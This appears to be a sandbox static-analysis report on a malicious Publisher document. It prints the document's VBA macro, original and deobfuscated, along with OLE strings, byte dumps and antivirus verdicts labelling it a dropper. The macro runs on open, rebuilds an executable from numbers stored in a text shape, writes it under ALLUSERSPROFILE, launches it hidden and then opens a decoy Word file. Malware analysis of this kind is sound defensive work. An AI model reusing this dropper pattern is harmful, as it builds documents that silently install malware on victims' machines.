popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{09FD2EFF-5669-11D3-B65F-00C04F8EF32D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

Call shoby_leLedr

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{09FD2EFF-5669-11D3-B65F-00C04F8EF32D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

Call shoby_leLedr

End Sub

Original

                                        Attribute VB_Name = "Form2"
Attribute VB_Base = "0{E73D079C-9902-49F7-B7CB-551FB8173058}{1AC51D2A-C35E-4352-96FD-52685EDE4C78}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False














Private Sub UserForm_Click()

End Sub

Deobfuscated

                                        Attribute VB_Name = "Form2"
Attribute VB_Base = "0{E73D079C-9902-49F7-B7CB-551FB8173058}{1AC51D2A-C35E-4352-96FD-52685EDE4C78}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False














Private Sub UserForm_Click()

End Sub

Original

                                        Attribute VB_Name = "Module1"
 
 Sub shoby_leLedr()
    
    Dim path_shoby_file As String
    
    Dim file_shoby_name  As String
    
    Dim folder_shoby_name  As Variant
    
    file_shoby_name = "davivthain"
    
    folder_shoby_name = Environ$("ALLUSERSPROFILE") & "\HDM Media\"
    
    If Dir(folder_shoby_name, vbDirectory) = "" Then
        MkDir (folder_shoby_name)
    End If
     
    path_shoby_file = folder_shoby_name & file_shoby_name
                 
     
    Dim awr1shoby_s() As String
     
    If Dir(path_shoby_file & ".ex" & "e") = "" Then
    
        Dim shoby_bweyt(123903) As Byte
         
         
        awr1shoby_s = Split(ActiveDocument.Pages(1).Shapes(1).TextFrame.Story.TextRange.Text, " ")
         
        Dim i As Double
        For i = 0 To UBound(awr1shoby_s) - LBound(awr1shoby_s)
            shoby_bweyt(i) = awr1shoby_s(i)
        Next
    
        
        Open path_shoby_file & ".e" & "xe" For Binary Access Write As #2
             Put #2, , shoby_bweyt
        Close #2
    End If
     

    Shell path_shoby_file & ".ex" & "e", vbNormalNoFocus
     
    
    Call shoby_docLdr
     
End Sub
 
Sub shoby_docLdr()

    Dim path_shoby_file As String
    Dim file_shoby_name  As String
     
    Dim fldr_shoby_name  As Variant
    
    file_shoby_doc = "wordxdoc"
    
    fldr_shoby_name = Environ$("ALLUSERSPROFILE") & "\"
    
    If Dir(fldr_shoby_name, vbDirectory) = "" Then
        MkDir (fldr_shoby_name)
    End If
     
   path_shoby_file = fldr_shoby_name & file_shoby_doc & ".docx"
   
    Dim ar1shoby_() As String
    Dim btsshoby_() As Byte
       
    ar1shoby_ = Split(Form2.TextBox2.Text, " ")
    
    Dim linshoby_ As Double
    linshoby_ = 0
    For Each vl In ar1shoby_
        ReDim Preserve btsshoby_(linshoby_)
        
        btsshoby_(linshoby_) = vl
        linshoby_ = linshoby_ + 1
    Next


      
    Open path_shoby_file For Binary Access Write As #2
         Put #2, , btsshoby_
    Close #2
    
  
    Dim WordApp As Object, WordDoc As Object

    Set WordApp = CreateObject("Word.Application")
    WordApp.Visible = True
   
    Set WordDoc = WordApp.Documents.Open(path_shoby_file)
    Application.ActiveWindow.Visible = False
        
    
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"
 
 Sub shoby_leLedr()
    
    Dim path_shoby_file As String
    
    Dim file_shoby_name  As String
    
    Dim folder_shoby_name  As Variant
    
    file_shoby_name = "davivthain"
    
    folder_shoby_name = Environ$("ALLUSERSPROFILE") & "\HDM Media\"
    
    If Dir(folder_shoby_name, vbDirectory) = "" Then
        MkDir (folder_shoby_name)
    End If
     
    path_shoby_file = folder_shoby_name & file_shoby_name
                 
     
    Dim awr1shoby_s() As String
     
    If Dir(path_shoby_file & ".exe") = "" Then
    
        Dim shoby_bweyt(123903) As Byte
         
         
        awr1shoby_s = Split(ActiveDocument.Pages(1).Shapes(1).TextFrame.Story.TextRange.Text, " ")
         
        Dim i As Double
        For i = 0 To UBound(awr1shoby_s) - LBound(awr1shoby_s)
            shoby_bweyt(i) = awr1shoby_s(i)
        Next
    
        
        Open path_shoby_file & ".exe" For Binary Access Write As #2
             Put #2, , shoby_bweyt
        Close #2
    End If
     

    Shell path_shoby_file & ".exe", vbNormalNoFocus
     
    
    Call shoby_docLdr
     
End Sub
 
Sub shoby_docLdr()

    Dim path_shoby_file As String
    Dim file_shoby_name  As String
     
    Dim fldr_shoby_name  As Variant
    
    file_shoby_doc = "wordxdoc"
    
    fldr_shoby_name = Environ$("ALLUSERSPROFILE") & "\"
    
    If Dir(fldr_shoby_name, vbDirectory) = "" Then
        MkDir (fldr_shoby_name)
    End If
     
   path_shoby_file = fldr_shoby_name & file_shoby_doc & ".docx"
   
    Dim ar1shoby_() As String
    Dim btsshoby_() As Byte
       
    ar1shoby_ = Split(Form2.TextBox2.Text, " ")
    
    Dim linshoby_ As Double
    linshoby_ = 0
    For Each vl In ar1shoby_
        ReDim Preserve btsshoby_(linshoby_)
        
        btsshoby_(linshoby_) = vl
        linshoby_ = linshoby_ + 1
    Next


      
    Open path_shoby_file For Binary Access Write As #2
         Put #2, , btsshoby_
    Close #2
    
  
    Dim WordApp As Object, WordDoc As Object

    Set WordApp = CreateObject("Word.Application")
    WordApp.Visible = True
   
    Set WordDoc = WordApp.Documents.Open(path_shoby_file)
    Application.ActiveWindow.Visible = False
        
    
End Sub
Microsoft Publisher 3.0
MSPublisher.3
ThisDocument
Module1
ID="{00000000-0000-0000-0000-000000000000}"
Document=ThisDocument/&H00000000
BaseClass=Form2
Module=Module1
HelpFile=""
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="FCFE5056B056B456B452B852B8"
DPB="F8FA54BB71BB71448FBC71175B98B4CA5EF38DA1F927403CA61CC281FE5ABA89982D1E2A"
GC="F4F6585EA85BA95BA95B"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=52, 52, 1160, 655,
Form2=0, 0, 0, 0, C, 26, 26, 1134, 629,
Module1=0, 0, 0, 0, C
PublisherL
Project1
stdole
Project-
Office
ThisDocument<
_Evaluate
UserForm_Click
MSFormsC
Module1b
shoby_leLedr
path_shoby_file]v
file_shoby_name&T
folder_shoby_name
Environ
vbDirectoryg
awr1shoby_s
shoby_bweyt
ActiveDocument
Shapes
TextFrame
TextRange
ShellV
vbNormalNoFocus
shoby_docLdr
fldr_shoby_name
file_shoby_doc
ar1shoby_
btsshoby_
TextBox2
linshoby_
WordApp
WordDoc
CreateObject
Visible
Documents
Application
ActiveWindow
Document_Open
Documentj
Attribut
e VB_Nam
e = "Thi
sDocumen
0{09FD2
EFF-5669
-11D3-B6
5F-00C04
F8EF32D}
|Global
dCreat
ateDeriv
Bustomi6z
all shob
y_leLedr1
davivthain'
ALLUSERSPROFILE
\HDM Media\
wordxdoc'
ALLUSERSPROFILE
Word.Application$
Attribut
e VB_Nam
e = "Mod
Sub sho
by_leLed
Dim path
Dfile A
+Varian
vthain
R= Envi
ron$("AL
LUSERSPR
OFILE")
& "\HDM @Media\
%I@f Dir(
End INf
s()MbDw
bweyt(@123903
RSplit(A
ctiveDoc
ument.Pa
ges(1).S
RangeB
B DoublH'Fo
r i@ 0 To
UBound(
&) - LO
cBcxe"
A+Binary
Access W
Put #2,
bNor@malNoF
ocLdrf
"wordx`
Each vl 8In
Preserv
CreateC
ationeXq
`.VisipW@
Attribut
e VB_Nam
e = "For m2"
p0{E73D
079C-990
2-49F7-B
7CB-551F
B8173058
}{1AC51D
2A-C35E-
4352-96F
D-52685E
DE4C78}
@Global
Creata
PredeHcla
BExpos
0Templ
ateDeriv
Customi
Sub Use
_ClickD()
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\SysWOW6
e2.tlb
#OLE Aut
omation
EOffic
8D04C-5B
FA-101B-
ram File
s (x86)\@Common
Microsof
t Shared
\OFFICE1
2\MSO.DLLL#
LibrXary
SForms>
E1-E08F
08C4D0BB
TFM20L'EB
071CE4-F
500-49BC
-B50D-D7
Users\
R&D~1\Ap
pData\Lo
cal\Temp0\VBE@b
6.e<xdHc
ThisDoc
umentG
ule1GdVo
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} Form2
Caption = "Form2"
ClientHeight = 6705
ClientLeft = 45
ClientTop = 375
ClientWidth = 10920
StartUpPosition = 1 'CenterOwner
TypeInfoVer = 8
Microsoft Forms 2.0 Form
Embedded Object
80 75 3 4 20 0 6 0 8 0 0 0 33 0 201 49 60 89 128 1 0 0 34 6 0 0 19 0 8 2 91 67 111 110 116 101 110 116 95 84 121 112 101 115 93 46 120 109 108 32 162 4 2 40 160 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Tahoma
Tahoma
TextBox2
Quill96 Story Group Class
CHNKINK
Root Entry
Objects
Escher
Envelope
Internal
Contents
CompObj
SummaryInformation
DocumentSummaryInformation
tThisDocument
2Form2
1Module1
C:\Users\R & D\Desktop\nisha arora.pub
Master Page A
someone@example.com
Web Site Form Response
Your information was received
FORMDATA.HTM
http://example.com/~user/ispscript.cgi
someone@example.com
Web Site Form Response
Your information was received
FORMDATA.HTM
http://example.com/~user/ispscript.cgi
someone@example.com
Web Site Form Response
Your information was received
FORMDATA.HTM
http://example.com/~user/ispscript.cgi
someone@example.com
Web Site Form Response
Your information was received
FORMDATA.HTM
http://example.com/~user/ispscript.cgi
someone@example.com
Web Site Form Response
Your information was received
FORMDATA.HTM
http://example.com/~user/ispscript.cgi
someone@example.com
Web Site Form Response
Your information was received
FORMDATA.HTM
http://example.com/~user/ispscript.cgi
Bluebird
Microsoft Print to PDF
Microsoft Print to PDF
Symbol
Symbol
Symbol
Symbol
Symbol
Symbol
Letter
Times New Roman
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PROJECT
PROJECTwm
EscherStm
QuillSub
EscherDelayStm
CompObj
VBFrame
Module1
ThisDocument
_VBA_PROJECT
CompObj
*\G{000204EF-0000-0000-C000-000000000046}#4.0#CONTENTS
9#C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications
*\G{0002123C-0000-0000-C000-000000000046}#2.1#0#C:\Program Files (x86)\Microsoft Office\Office12\MSPUB.TLB#Microsoft Publisher 12.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object Library
*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#c:\WINDOWS\SysWOW64\FM20.DLL#Microsoft Forms 2.0 Object Library
*\G{07071CE4-F500-49BC-B50D-D752DBFA3A1F}#2.0#0#C:\Users\R&D~1\AppData\Local\Temp\VBE\MSForms.exd#Microsoft Forms 2.0 Object Library
ThisDocument
0162e52c70
ThisDocument
0262e52c77
Module1
0362e52c7c
Module1
N0{09FD2EFF-5669-11D3-B65F-00C04F8EF32D}
0{E73D079C-9902-49F7-B7CB-551FB8173058}{1AC51D2A-C35E-4352-96FD-52685EDE4C78}
77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 80 69 0 0 76 1 4 0 69 20 238 96 0 0 0 0 0 0 0 0 224 0 2 1 11 1 11 0 0 154 1 0 0 70 0 0 0 0 0 0 254 183 1 0 0 32 0 0 0 192 1 0 0 0 64 0 0 32 0 0 0 2 0 0 4 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 96 2 0 0 4 0 0 0 0 0 0 2 0 96 133 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 172 183 1 0 79 0 0 0 0 224 1 0 40 65 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 2 0 12 0 0 0 0 192 1 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 8 0 0 0 0 0 0 0 0 0 0 0 8 32 0 0 72 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 4 152 1 0 0 32 0 0 0 154 1 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 115 100 97 116 97 0 0 56 1 0
115 61 34 102 97 108 115 101 34 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32
Times New Roman
Sylfaen
Mangal
Vrinda
Shruti
Kalinga
Gautami
Kartika
Angsana New
DokChampa
Microsoft Himalaya
Batang
MS Mincho
PMingLiU
SimSun
Estrangelo Edessa
MV Boli
Iskoola Pota
Plantagenet Cherokee
Euphemia Regular CAS
DaunPenh
Mongolian Baiti
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 176 1 0 12 0 0 0 0 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Generic.4!c
Elastic malicious (high confidence)
Cynet Clean
CMC Clean
CAT-QuickHeal OLE.TransparentAPT.42885
McAfee RDN/Generic Downloader.x
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
Cyren Clean
Symantec Trojan.Gen.2
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Trojan-Dropper.MSOffice.SDrop.gen
BitDefender VBA.Heur.ObfDldr.22.8316C167.Gen
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
MicroWorld-eScan VBA.Heur.ObfDldr.22.8316C167.Gen
Rising Dropper.[TransparentTribe]Agent/VBA!1.D7F6 (CLASSIC)
Ad-Aware VBA.Heur.ObfDldr.22.8316C167.Gen
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.OLE2.Downloader.dx
FireEye VBA.Heur.ObfDldr.22.8316C167.Gen
Emsisoft VBA.Heur.ObfDldr.22.8316C167.Gen (B)
SentinelOne Static AI - Malicious OLE
GData VBA.Heur.ObfDldr.22.8316C167.Gen
Jiangmin Clean
Avira Clean
MAX Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit HEUR.VBA.Trojan.d
ViRobot Clean
ZoneAlarm HEUR:Trojan.Script.Generic
Microsoft Trojan:Script/Woreflint.A!cl
AhnLab-V3 Clean
BitDefenderTheta Clean
ALYac VBA.Heur.ObfDldr.22.8316C167.Gen
TACHYON Suspicious/X97M.Obfus.Gen.8
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet WM/Agent.U!tr.dldr
AVG Script:SNH-gen [Trj]
Panda Clean
Qihoo-360 virus.office.qexvmc.1080
No IRMA results available.